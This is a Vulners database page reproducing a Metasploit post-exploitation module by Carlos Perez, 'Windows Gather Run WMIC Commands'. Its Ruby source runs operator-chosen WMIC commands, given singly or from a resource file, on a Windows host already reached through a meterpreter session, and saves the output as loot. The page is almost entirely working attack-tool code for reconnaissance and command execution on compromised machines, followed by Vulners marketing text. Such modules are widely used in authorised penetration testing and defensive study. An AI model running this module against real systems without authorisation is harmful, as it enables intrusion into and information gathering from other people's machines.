Lucene search
K

Windows Gather Run WMIC Commands

🗓️ 12 Sep 2011 23:33:09Reported by Carlos Perez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 47 Views

Module executes WMIC commands on a specified host

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::WMIC

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Run WMIC Commands',
        'Description' => %q{
          This module executes WMIC commands on the specified host.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )

    register_options([
      OptPath.new('RESOURCE', [false, 'Full path to resource file containing WMIC commands']),
      OptString.new('COMMAND', [false, 'WMIC command']),
    ])
  end

  def run
    hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
    print_status("Running module against #{hostname} (#{session.session_host})")

    resource_file = datastore['RESOURCE']
    command = datastore['COMMAND']

    if command.blank? && resource_file.blank?
      fail_with(Failure::BadConfig, 'Please specify COMMAND or RESOURCE file.')
    end

    commands = []

    if resource_file
      fail_with(Failure::BadConfig, "Resource file #{resource_file} does not exist!") unless ::File.exist?(resource_file)

      ::File.open(resource_file).each_line(chomp: true) do |cmd|
        next if cmd.strip.empty?
        next if cmd.starts_with?('#')

        commands << cmd
      end
    else
      commands << command
    end

    commands.each do |cmd|
      next if cmd.strip.empty?

      print_status("Running WMIC command: #{cmd}")

      result = wmic_query(cmd)

      if result.blank?
        print_error('No results for command')
        next
      end

      vprint_line(result)

      store_wmic_loot(result, cmd)
    end
  end

  def store_wmic_loot(result_text, cmd)
    command_log = store_loot(
      'host.command.wmic',
      'text/plain',
      session,
      result_text,
      "#{cmd.gsub(%r{\.|/|\s}, '_')}.txt",
      "Command Output 'wmic #{cmd}'"
    )

    print_status("Command output saved to: #{command_log}")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Sep 2022 14:25Current
0.1Low risk
Vulners AI Score0.1
47